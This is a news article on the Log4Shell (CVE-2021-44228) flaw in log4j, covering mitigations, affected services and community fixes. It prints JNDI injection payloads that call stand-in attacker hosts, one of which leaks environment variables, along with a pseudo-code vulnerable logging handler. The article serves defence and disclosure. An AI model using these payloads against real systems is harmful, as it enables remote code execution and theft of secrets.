On December 9th, it was made public on Twitter that a zero-day exploit had been discovered in log4j, a popular Java logging library. All the library’s versions between 2.0 and 2.14.1 included are affected. Log4j 2.15.0 has been released, which no longer has this vulnerability. As pointed out by the POC published on GitHub, when log4j logs an attacker-controlled string value it can result in a Remote Code Execution (RCE).

The log4j contributors mobilized to ensure that a fix is available and quickly merged. Log4j 2.15.0 is already available in Maven Central and all users are encouraged to upgrade immediately where possible. Where an upgrade is not immediately possible, an alternative workaround is to start the Java application or server with the log4j2.formatMsgNoLookups system property set to true:

java -Dlog4j2.formatMsgNoLookups=true -jar myapp.jar

This property is not available in log4j versions below 2.10.0, and for users of these versions that cannot immediately upgrade, two strategies are available: “modify every logging pattern layout to say %m{nolookups} instead of %m in your logging config files” or “substitute a non-vulnerable or empty implementation of the class org.apache.logging.log4j.core.lookup.JndiLookup, in a way that your classloader uses your replacement instead of the vulnerable version of the class.”

As reported by Lunasec, servers running on JDKs versions higher than 6u211, 7u201, 8u191, and 11.0.1 are not affected by the LDAP RCE attack vector, as the com.sun.jndi.ldap.object.trustURLCodebase is disabled by default, hence JNDI cannot load a remote codebase using LDAP. Another option is to remove the JndiLookup class from the classpath:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

However, as reported by Michael Stepankin at Veracode, there are other attack vectors targeting this vulnerability that can result in RCE. Lari Hotari, OSS contributor and senior software engineer at DataStax, has also commented on an earlier version of this news item that even if the RCE attack via LDAP may be prevented in later JDK versions, it is still possible to use the log4j vulnerability to leak sensitive information, such as environment variables, that could be used in other attacks e.g. ${jndi:ldap://${env:user}.xyz.collab.com/a} Therefore, immediate mitigation is recommended even if an application is running on a version of the JDK mentioned previously.

The exploit, that will be identified by CVE-2021-44228, and known colloquially at Log4Shell, takes advantage of a flaw in the Java Naming and Directory Interface’s code in the following way:

1. The user sends data to the server (TCP, HTTP, or any other protocol allowing this)
2. The server writes in the logs via log4j the data containing the malicious payload in the request: ${jndi:ldap://malicioussite.com/exploit} (malicioussite.com being an attacker-controlled server)
3. The log4j vulnerability is triggered and the server makes a request to malicioussite.com via JNDI
4. The response contains a path to a remote Java class file, which will be injected into the server process
5. The injected payload allows the presumed attacker to execute arbitrary code

Or translated in code:

import org.apache.log4j.Logger;

import java.io.*;
import java.sql.SQLException;
import java.util.*;

public class VulnerableLog4jExampleHandler implements HttpHandler {

  static Logger log = Logger.getLogger(log4jExample.class.getName());

  /**
   * A simple HTTP endpoint that reads the request's User Agent and logs it back.
   * This is basically pseudo-code to explain the vulnerability, and not a full example.
   * @param he HTTP Request Object
   */
  public void handle(HttpExchange he) throws IOException {
    string userAgent = he.getRequestHeader("user-agent");
    
    // This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
    // The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
    log.info("Request User Agent:" + userAgent);

    String response = "
Hello There, " + userAgent + "!
";
    he.sendResponseHeaders(200, response.length());
    OutputStream os = he.getResponseBody();
    os.write(response.getBytes());
    os.close();
  }
}

Given the ubiquity of Java and log4j’s usage and the facility of the exploit, the impact is critical and should be addressed by all users immediately. An increasing number of scans are performed on the web trying to exploit the vulnerability mostly coming from the Tor network. Similar vulnerabilities were exploited in the past concluding into data breaches like the Equifax data breach.

Various scans were conducted on the web, finding among the known affected services are Steam, Apple iCloud, or applications such as Minecraft, whose versions greater than 1.8.8 are affected. Brian Vermeer, senior developer advocate at Snyk, reported on the Snyk blog that Apache Struts 2, Apache Solr, and Apache Druid are all affected. Patching was started among the affected open source projects (for example Paper).

With the popularity of presumably simple libraries like log4j, many cloud services and applications might be impacted, as was the case of the Equifax data breach from 2017, when the repercussions were quite severe. Nevertheless, in the case of CVE-2021-44228 the community has rallied to help spread awareness and provide mitigation plans and also fixes.

Gunnar Morling, open source software engineer at Red Hat, has provided an example of a Maven Enforcer rule to ban any future usage of vulnerable log4j version in a project’s source code. Hotari has provided a Log4Shell mitigation tester. Several individuals and organizations have also provided patches, such as Cybereason, although due diligence should be conducted before applying any of these community fixes.

This news item was updated at 10:30 am and 17:30 pm UTC, 12th December, to correct the JDK versions affected by the LDAP RCE attack vector and to add additional information.